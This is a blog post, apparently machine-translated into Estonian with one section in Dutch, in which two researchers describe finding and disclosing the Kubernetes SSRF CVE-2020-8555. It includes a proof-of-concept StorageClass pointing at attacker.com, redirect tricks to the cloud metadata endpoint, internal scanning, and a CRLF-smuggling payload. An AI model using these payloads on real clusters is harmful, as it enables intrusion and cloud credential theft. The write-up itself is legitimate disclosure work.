{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Kui k\u00fcsimus ei ole ainult Kubernetes'e haavatavuses...","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>M\u00e4rk. t\u00f5lge.<\/b>: artikli autorid selgitavad \u00fcksikasjalikult, kuidas neile \u00f5nnestus avastada haavatavus <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> Kuberneteses. Kuigi see algselt ei tundunud v\u00e4ga ohtlik, osutus selle kriitilisus koos teiste teguritega m\u00f5ne pilveteenuse osutaja juures maksimaalseks. Tehtud t\u00f6\u00f6 eest premeeriti spetsialiste heldelt mitme organisatsiooni poolt.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Kes me oleme<\/h2>\n<p>\nOleme kaks Prantsuse turvauurijat, kes \u00fchiselt avastasid haavatavuse Kuberneteses. Meie nimed on Brice Augras ja Christophe Hauquiert, kuid paljudes Bug Bounty platvormides oleme tuntud kui Reeverzax ja Hach vastavalt:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 Kubernetesi arhitekt Nokias.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Mis juhtus?<\/h2>\n<p>\nSee artikkel on meie viis r\u00e4\u00e4kida sellest, kuidas tavaline uurimisprojekt ootamatult muutus k\u00f5ige p\u00f5nevamaks seikluseks bugihuntijate elus (v\u00e4hemalt praegu).<\/p>\n<p>Kuidas te ilmselt teate, bugihuntijatel on paar t\u00e4helepanuv\u00e4\u00e4rset omadust:<\/p>\n<ul>\n<li> nad elavad pitsade ja \u00f5lle peal;<\/li>\n<li> nad t\u00f6\u00f6tavad siis, kui k\u00f5ik teised magavad.<\/li>\n<\/ul>\n<p>\nMe ei ole erand reeglitest: tavaliselt kohtume n\u00e4dalavahetustel ja veedame unetuid h\u00e4ackerite \u00f6id. Kuid \u00fcks neist \u00f6\u00f6dest l\u00f5ppes \u00fcsna ebatavaliselt.<\/p>\n<p>Alguses kavasime kohtuda, et arutada osalemist <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> j\u00e4rgmisel p\u00e4eval. Arutledes Kubernetes'i turvalisuse \u00fcle hallatud teenuse keskkonnas, meenutasime vana ideed SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) ja otsustasime proovida seda r\u00fcnnaku stsenaariumina kasutada.<\/p>\n<p>Kell 11 \u00f5htul asusime uurimiste juurde ja l\u00e4ksime magama vara hommikul, olles tulemusega \u00fcsna rahul. Just nende uurimiste t\u00f5ttu sattusime MSRC Bug Bounty programmile ja l\u00f5ime privileegide eskaleerimise eksploidiga.<\/p>\n<p>M\u00f6\u00f6dus mitu n\u00e4dalat\/kuud ning meie ootamatu tulemus aitas saada \u00fche k\u00f5rgeima auhinna Azure Cloud Bug Bounty ajaloos \u2014 koos sellega, mille saime Kuberneteselt!<\/p>\n<p>Meie uurimisprojekti p\u00f5hjal avaldas Kubernetes Product Security Committee <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>N\u00fc\u00fcd tahaksime levida teavet leitud haavatavuse kohta v\u00f5imalikult laialdaselt. Loodame, et hindate leidmist ja jagate tehnilisi \u00fcksikasju teiste infotehnoloogia turvag\u00fcroode liikmetega!<\/p>\n<p>Nii et siin on meie lugu...<\/p>\n<h2>Kontekst<\/h2>\n<p>\nKuna me tahame maksimaalselt edasi anda selle juhtumi sisu, vaatame k\u00f5igepealt, kuidas Kubernetes t\u00f6\u00f6tab pilvehaldatud keskkonnas.<\/p>\n<p>Kui loote Kubernetes'i klastrifaili sellises keskkonnas, vastutab halduskihi eest tavaliselt pilveteenuse pakkuja:<\/p>\n<p><img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Halduskiht asub pilveteenuse pakkuja perimeetris, samas kui Kubernetes'i s\u00f5lmed asuvad kliendi perimeetris.<\/i><\/p>\n<p>D\u00fcnaamilise mahtude m\u00e4\u00e4ramise jaoks kasutatakse mehhanismi nende d\u00fcnaamiliseks pakkumiseks v\u00e4lisest storage-taustast ja sidumiseks PVC-ga (persistent volume claim, st mahtude taotlus).<\/p>\n<p>Nii et, p\u00e4rast PVC loomist ja selle seostamist StorageClass\u2019iga K8s klastris, v\u00f5tab edasiste mahtude pakkumise eest vastutuse kube\/cloud controller manager (t\u00e4pne nimi s\u00f5ltub versioonist). <i>(<b>M\u00e4rk. t\u00f5lge.<\/b>: Rohkem CCM-ist \u00fche pilveteenuse pakkuja rakenduse n\u00e4itel oleme juba kirjutanud <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">siit<\/a><\/noindex>.)<\/i><\/p>\n<p>Kubernetes toetab mitmeid provisioner\u2019ite variante: enamik neist on kaasatud <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">orkestraatori p\u00f5hijuhu<\/a><\/noindex>, teised aga hallatakse t\u00e4iendavate provisioner\u2019ite kaudu, mis asuvad klastris pod\u2019ides.<\/p>\n<p>Oma uurimises keskendusime mahamakstud mahu pakkumise sisemehhanismile, mis on illustreeritud allpool:<\/p>\n<p><img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Kubernetes\u2019i sisseehitatud provisioner\u2019iga d\u00fcnaamiline mahtude pakkumine<\/i><\/p>\n<p>Kokkuv\u00f5ttes, kui Kubernetes on juurutatud hallatavas keskkonnas, vastutab controller manager\u2019i t\u00f6\u00f6 eest pilveteenuse pakkuja, kuid mahtu loomise p\u00e4ring (number 3 \u00fclaltoodud skeemil) lahkub pilveteenuse pakkuja sisev\u00f5rgust. Siin muutub olukord t\u00f5eliselt huvitavaks!<\/p>\n<h2>H\u00e4kkeristsenaarium<\/h2>\n<p>\nSelles osas r\u00e4\u00e4gime, kuidas kasutasime eespoolMainitud t\u00f6\u00f6voogu ja saime juurdep\u00e4\u00e4su pilveteenuse pakkuja sisemistele ressurssidele. Samuti n\u00e4idatakse, kuidas teatud toiminguid teostada \u2014 n\u00e4iteks saada sisemised p\u00e4\u00e4smed v\u00f5i teha privileegide eskaleerimist.<\/p>\n<p>\u00dcks lihtne manipulatsioon (antud juhul Service Side Request Forgery) aitas p\u00e4\u00e4seda v\u00e4lja kliendi keskkonnast erinevate hallatava K8s teenusepakkujate klastrites.<\/p>\n<p>Meie uuringutes keskendusime GlusterFS provisioner\u2019ile. Kuigi edasine tegevusj\u00e4rjestus on kirjeldatud sellises kontekstis, on sellele haavatavusele vastuv\u00f5tlikud ka Quobyte, StorageOS ja ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>D\u00fcnaamiliste m\u00f5\u00f5tmete esitamise mehhanismi kuritarvitamine<\/i><\/p>\n<p>Salvestusklasside anal\u00fc\u00fcsi k\u00e4igus <b>GlusterFS<\/b> Golang'i kliendi l\u00e4htekoodides me <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">m\u00e4rgati<\/a><\/noindex>, et esimese HTTP-p\u00e4ringu (3), mis saadetakse mahtude loomise ajal, l\u00f5ppu kasutaja URL-is parameetris <code>resturl<\/code> lisatakse <code>\/volumes<\/code>.<\/p>\n<p>Selle t\u00e4iendava tee eemaldamiseks otsustasime lisada <code>#<\/code> parameetrisse <code>resturl<\/code>. Siin on esimene YAML-konfiguratsioon, mida kasutasime 'poole-pimedate' SSRF-haavatavuse kontrollimiseks <i>(lisateavet poole-pimedate v\u00f5i half-blind SSRF kohta saab lugeda n\u00e4iteks <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">siit<\/a><\/noindex> \u2014 kt. t\u00f5lge)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nSeej\u00e4rel kasutasime Kubernetes'i klastrit kaugjuhtimiseks binaarfaili <b>kubectl<\/b>. \u00dcldiselt pakuvad pilveteenuse pakkujad (Azure, Google, AWS jne) v\u00f5imalust saada nende kasutamiseks vajalikud mandaadid.<\/p>\n<p>Selle t\u00f5ttu \u00f5nnestus rakendada oma \"erilised\" failid. Kube-controller-manager tegi tulemuseks oleva HTTP-p\u00e4ringu:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>R\u00fcnnake vaatepunktist<\/i><\/p>\n<p>Varsti p\u00e4rast seda suutsime saada ka HTTP-vastuse sihtserverilt - kubectl k\u00e4skude kaudu <code>describe pvc<\/code> v\u00f5i <code>get events<\/code> kubectl'is. Ja t\u00f5epoolest: see Kubernetes'i draiver on vaikimisi liiga s\u00f5nakas oma hoiatusi \/ veateateid...<\/p>\n<p>Siin on n\u00e4ide, kus viidatakse <code>https:\/\/www.google.fr<\/code>, mis on seatud parameetrina <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# v\u00f5i kasutage kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nSelle l\u00e4henemise raames olime piiratud <b>HTTP POST<\/b> ja ei saanud vastuse keha sisu, kui tagastatud kood oli <b>201<\/b>. Seet\u00f5ttu otsustasime teha t\u00e4iendavaid uuringuid ja laiendasime sellist r\u00fcnnaku stsenaariumi uute l\u00e4henemisviisidega.<\/p>\n<h2>Meie uuringute evolutsioon<\/h2>\n<p><\/p>\n<ul>\n<li> T\u00e4pne stsenaarium nr 1: 302 suunamise kasutamine v\u00e4liselt serverilt HTTP meetodi muutmiseks, et saada paindlikum viis siseteabe kogumiseks.<\/li>\n<li> T\u00e4pne stsenaarium nr 2: LAN-i skaneerimise ja sisemiste ressursside avastamise automatiseerimine.<\/li>\n<li> Edasiarendatud stsenaarium nr 3: HTTP CRLF + smuggling (\u201ekavalate\u201d p\u00e4ringute loomine) kasutamine kohandatud HTTP-p\u00e4ringute genereerimiseks ja kube-controller\u2019i logidest andmete saamiseks.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Tehnilised spetsifikatsioonid<\/h3>\n<p><\/p>\n<ul>\n<li> Uuringutes kasutati Azure Kubernetes Service'i (AKS) Kubernetes versiooniga 1.12 P\u00f5hja-Euroopa regioonis.<\/li>\n<li> \u00dclaltoodud stsenaariume viidi l\u00e4bi Kubernetes'i uusimates versioonides, v\u00e4lja arvatud kolmas stsenaarium, kuna see vajab Kubernetes'i, mis on kompileeritud Golangi versiooniga \u2264 1.12.<\/li>\n<li> R\u00fcndaja v\u00e4line server \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>T\u00e4pne stsenaarium nr 1: POST-p\u00e4ringu HTTP-suunamine GET-ks ja konfidentsiaalsete andmete hankimine<\/h3>\n<p>\nAlgset meetodit t\u00e4iustati kurjategija serveri konfigureerimisega tagasikutsumiseks <b>302 HTTP tagastusrekood<\/b>, et muuta POST-p\u00e4ring GET-p\u00e4ringuks (samm 4 skeemil):<\/p>\n<p><img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEsimene p\u00e4ring (3), mis saadetakse kliendi kaudu <b>GlusterFS<\/b> (Controller Manager), on t\u00fc\u00fcbilt POST. Sooritades j\u00e4rgmised sammud, suutsime selle muuta GET-ks:<\/p>\n<ul>\n<li> Parameetrina <code>resturl<\/code> StorageClassis m\u00e4\u00e4ratleb <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> L\u00f5pp-punkt <code>https:\/\/attacker.com\/redirect.php<\/code> vastab HTTP staatusega 302, mille Location Header on j\u00e4rgmine: <code>http:\/\/169.254.169.254<\/code>. See v\u00f5ib olla mis tahes muu sisemine ressurss \u2014 antud juhul kasutatakse \u00fcmbersuunamislinki ainult n\u00e4itena.<\/li>\n<li> Vaikimisi <b>net\/http teek<\/b> Golang\u2019i suunab p\u00e4ringu ja konverteerib POST p\u00e4ringu GET-ks 302 staatusega, mille tulemuseks on sihtressursile saadetud HTTP GET p\u00e4ring.<\/li>\n<\/ul>\n<p>\nHTTP vastuse keha lugemiseks on vaja teha <code>describe<\/code> PVC objekti:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nSiin on n\u00e4ide HTTP vastusest JSON-formaadis, mille me saime:<\/p>\n<p><img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLeitud haavatavuse v\u00f5imalused olid sel hetkel piiratud j\u00e4rgmiste asjaolude t\u00f5ttu:<\/p>\n<ul>\n<li> V\u00f5imetus lisada HTTP p\u00e4iseid v\u00e4ljaminevasse p\u00e4ringusse.<\/li>\n<li> V\u00f5imetus teha POST-p\u00e4ringut parameetritega kehas (nii on mugav k\u00fcsida v\u00f5tme v\u00e4\u00e4rtust etcd eksemplarilt, mis t\u00f6\u00f6tab <b>2379<\/b> portil, kui kasutatakse kr\u00fcpteerimata HTTP-d).<\/li>\n<li> V\u00f5imetus saada vastuse keha sisu, kui staatuskood oli 200 ja vastusel ei olnud JSON Content-Type'i.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Arendusstsenaarium nr 2: kohaliku v\u00f5rgu skaneerimine<\/h3>\n<p>\nSeda meetod half-blind SSRF kasutati seej\u00e4rel pilveteenuste pakkuja sisev\u00f5rgu skaneerimiseks ning erinevate kuulavate teenuste (n\u00e4iteks Metadata, Kubelet, etcd jne) k\u00fcsitlemiseks vastuste p\u00f5hjal. <b>kube controller\u2019i<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEsmalt m\u00e4\u00e4rati kindlaks Kubernetes komponentide standardkuulamisportid (8443, 10250, 10251 jne), seej\u00e4rel tuli skaneerimisprotsess automatiseerida.<\/p>\n<p>Kuna see ressursside skaneerimise meetod on v\u00e4ga spetsiifiline ja ei \u00fchildu klassikaliste skaneerijate ja SSRF-t\u00f6\u00f6riistadega, otsustasime luua oma bash-skripti t\u00f6\u00f6tajad, mis automatiseerivad terve protsessi.<\/p>\n<p>N\u00e4iteks, et kiiremalt skaneerida 172.16.0.0\/12 sisev\u00f5rgu vahemikku, k\u00e4ivitus samaaegselt 15 t\u00f6\u00f6tajat. \u00dclaltoodud IP vahemik on valitud ainult n\u00e4idisena ja seda v\u00f5ib muuta konkreetse teenuse pakkuja IP vahemikuks.<\/p>\n<p>\u00dche IP-aadresse ja \u00fchte porti skaneerimiseks tuleb teha j\u00e4rgmist:<\/p>\n<ul>\n<li> kustutada eelmine kord kontrollitud StorageClass;<\/li>\n<li> kustutada eelmise kontrollitud Persistent Volume Claim;<\/li>\n<li> muuta IP ja Port v\u00e4\u00e4rtused failis <code>sc.yaml<\/code>;<\/li>\n<li> luua uus StorageClass uue IP ja pordiga;<\/li>\n<li> luua uus PVC;<\/li>\n<li> skaneerimistulemuste v\u00e4ljav\u00f5ttmiseks PVC jaoks describe\u2019iga.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Geavanceerd scenario nr. 3: CRLF-injectie + HTTP-smuggling in 'oude' versies van de Kubernetes-cluster.<\/h3>\n<p>\nAls de provider daarnaast oude versies van de K8s-cluster aan klanten aanbood, <b>ja<\/b> en hen toegang gaf tot de logs van de kube-controller-manager, werd het effect nog significanter.<\/p>\n<p>Voor een aanvaller is het veel gemakkelijker om HTTP-verzoeken naar wens te wijzigen, die bedoeld zijn om de volledige HTTP-respons te verkrijgen.<\/p>\n<p><img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nVoor de uitvoering van het laatste scenario moesten de volgende voorwaarden worden vervuld:<\/p>\n<ul>\n<li> De gebruiker moet toegang hebben tot de logs van de kube-controller-manager (zoals bijvoorbeeld in Azure LogInsights).<\/li>\n<li> De Kubernetes-cluster moet een Golang-versie lager dan 1.12 gebruiken.<\/li>\n<\/ul>\n<p>\nWe hebben een lokale omgeving opgezet die de gegevensuitwisseling tussen de Go-client GlusterFS en een vervalste doelserver simuleert (we onthouden ons voorlopig van het publiceren van de PoC).<\/p>\n<p>Er werd een ontdekte, <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">haavatavus<\/a><\/noindex>die versies van Golang onder 1.12 raakte en hackers in staat stelde HTTP-smuggling\/CRLF-aanvallen uit te voeren.<\/p>\n<p>Door de hierboven beschreven half-blind SSRF te combineren, <b>samen<\/b> Sellega suutsime saata p\u00e4ringuid oma maitse j\u00e4rgi, sealhulgas p\u00e4iste, HTTP meetodi, parameetrite ja andmete muutmist, mida kube-controller-manager seej\u00e4rel t\u00f6\u00f6tles.<\/p>\n<p>Siin on n\u00e4ide t\u00f6\u00f6tavast '\u00f5nge' parameetrist <code>resturl<\/code> StorageClass, mis rakendab sarnast r\u00fcnnaku stsenaariumi:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1\r\nConnection: keep-alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET \/pods? HTTP\/1.1\r\nHost: 172.31.X.1:10255<\/code><\/pre>\n<p>\nTulemus on viga <b>unwanted response<\/b>, mille kohta logitakse teade kontrolleri logidesse. T\u00e4nu vaikimisi sisse l\u00fclitatud 'verbose' re\u017eiimile salvestatakse sinna ka vastava HTTP-s\u00f5numi sisu.<\/p>\n<p><img decoding=\"async\" alt=\"Kui k\u00fcsimus ei ole ainult Kubernetes&#039;e haavatavuses...\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nSee oli meie k\u00f5ige t\u00f5husam '\u00f5nge' t\u00f5endite kontseptsioonis.<\/p>\n<p>Selle l\u00e4henemise kasutamisel suutsime teostada m\u00f5ningaid j\u00e4rgmistest r\u00fcnnakutest erinevate hallatavate k8s pakkujate klastrites: privileegide t\u00f5stmine metadata-instance'idelt akrediteeringute hankimisega, masteri DoS (\u0161ifreerimata) HTTP-p\u00e4ringute kaudu master-exemplaarides etcd jne.<\/p>\n<h2>Tagaj\u00e4rjed<\/h2>\n<p>\nKubernetes'i ametlikus avalduses avastatud SSRF-haavatavuse kohta anti sellele hinnang <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Kui vaadata vaid Kubernetes'i perimeetriga seotud haavatavust, siis <i>(tervikuv\u00f5ime vektor)<\/i> kvalifitseerub see kui <b>Puudub<\/b>.<\/p>\n<p>Kuid v\u00f5imalike tagaj\u00e4rgede hindamine haldatud teenuste keskkonnas (ja see oli meie uurimist\u00f6\u00f6 k\u00f5ige huvitavam osa!) t\u00f5ukas meid haavatavust \u00fcmber hindama <b>Kriitiline CVSS10\/10<\/b> paljudele jaotajatele.<\/p>\n<p>Allpool on esitatud lisainfot, mis aitab m\u00f5ista, kuidas me hindasime v\u00f5imalikke tagaj\u00e4rgi pilveteenustes:<\/p>\n<h3>Terviklikkus<\/h3>\n<p><\/p>\n<ul>\n<li> Kaukomandode teostamine saadud sisemiste mandaatide kaudu.<\/li>\n<li> Eeltoodud stsenaariumi kordamine IDOR-i (Insecure Direct Object Reference, st ebaturvalised otsesed viited objektidele) meetodi abil teistele ressurssidele, mis on avastatud kohalikus v\u00f5rgus.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Privaatsus<\/h3>\n<p><\/p>\n<ul>\n<li> R\u00fcnnakut\u00fc\u00fcp <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateraalne liikumine<\/a><\/noindex> kuna on varastatud pilve mandaate (nt metadata API).<\/li>\n<li> Teabe kogumine kohaliku v\u00f5rgu skaneerimise kaudu (n\u00e4iteks SSH versiooni, HTTP-serveri versiooni m\u00e4\u00e4ramine,\u2026).<\/li>\n<li> Teabe kogumine instantside ja infrastruktuuri kohta, k\u00fcsides sisemisi API-sid, nagu metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Kliendiandmete vargus pilvekontode kaudu.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Saadavus<\/h3>\n<p>\nK\u00f5ik rakendamise stsenaariumid, mis on seotud r\u00fcnnakute vektoritega <b>integrity (terviklikkus)<\/b>, v\u00f5ivad olla kasutatavad h\u00e4vitavate tegevuste jaoks ja p\u00f5hjustada, et kliendi piirist (v\u00f5i muudest) meistriinstantsid ei ole k\u00e4ttesaadavad.<\/p>\n<p>Kuna viibisime hallatavates K8s keskkondades ja hindasime m\u00f5ju terviklikkusele, v\u00f5ib ette kujutada hulgaliselt stsenaariume, mis v\u00f5ivad m\u00f5jutada k\u00e4ttesaadavust. T\u00e4iendavateks n\u00e4ideteks toome v\u00e4lja andmebaasi etcd kahjustamise v\u00f5i kriitilise API kutsumise teostamise Kubernetes'e jaoks.<\/p>\n<h2>Ajatelg<\/h2>\n<p><\/p>\n<ul>\n<li> 6. detsember 2019: teate saatmine tuvastatud haavatavusest MSRC Bug Bounty.<\/li>\n<li> 3. jaanuar 2020: kolmas osapool teavitas Kubernetes'e arendajaid, et me t\u00f6\u00f6tame turvaprobleemiga. Ja palus neil k\u00e4sitleda SSRF-i kui sisemist (in-core) haavatavust. P\u00e4rast seda esitasime \u00fcldise aruande tehniliste \u00fcksikasjadega probleemi allikast.<\/li>\n<li> 15. jaanuar 2020: pakkusime Kubernetes'e arendajatele tehnilisi ja \u00fcldiseid aruandeid nende taotluse j\u00e4rgi (HackerOne platvormi kaudu).<\/li>\n<li> 15. jaanuar 2020: Kubernetes'i arendajad teatasid meile, et half-blind SSRF + CRLF s\u00fcst puuduvate versioonide jaoks loetakse sisseehitatud haavatavuseks. Peatusime kohe teiste teenusepakkujate perimeetrite anal\u00fc\u00fcsiga: selle p\u00f5hjusest hoolitses n\u00fc\u00fcd K8si meeskond.<\/li>\n<li> 15. jaanuar 2020: HackerOne'i kaudu on saadud preemia MSRC-lt.<\/li>\n<li> 16. jaanuar 2020: Kubernetes'i PSC (tootedurbe komitee) tunnustas haavatavust ja palus seda saladuses hoida kuni m\u00e4rtsi keskpaigani suure arvu potentsiaalsete ohvrite t\u00f5ttu.<\/li>\n<li> 11. veebruar 2020: preemia on saadud Google'i VRP-lt.<\/li>\n<li> 4. m\u00e4rts 2020: HackerOne'i kaudu on saadud preemia Kuberneteselt.<\/li>\n<li> 15. m\u00e4rts 2020: algselt planeeritud avalikustamine l\u00fckati edasi COVID-19 olukorra t\u00f5ttu.<\/li>\n<li> 1. juuni 2020: Kubernetes ja Microsoft \u00fchine avaldus haavatavuse kohta.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Me joome \u00f5lut ja s\u00f6\u00f6me pitsat \ud83d\ude42<\/li>\n<li> Me avastasime Kuberneteses sisseehitatud haavatavuse, kuigi me ei kavatsenud seda teha.<\/li>\n<li> Me tegime t\u00e4iendava anal\u00fc\u00fcsi erinevate pilveteenuse pakkujate klastrites ja suutsime suurendada haavatavuse tekitatud kahju, et saada t\u00e4iendavaid suurep\u00e4raseid boonuseid.<\/li>\n<li> Selles artiklis leiate palju tehnilisi \u00fcksikasju. Me r\u00e4\u00e4gime neist meeleldi teiega (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Selgus, et k\u00f5ik formaalsused ja aruannete koostamine v\u00f5tavad palju rohkem aega, kui algselt oodati.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Lingid<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google grupp kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. t\u00f5lkija m\u00e4rkused<\/h2>\n<p>\nLugege ka meie blogist:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Kuberneteses on vigu jahti ametlikult alustatud<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">V\u00e4ljund pod\u2019ist Kubernetes\u2019is logide mountimise kaudu<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ Kubernetes'i turbe t\u00f6\u00f6riista<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Allikas: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> 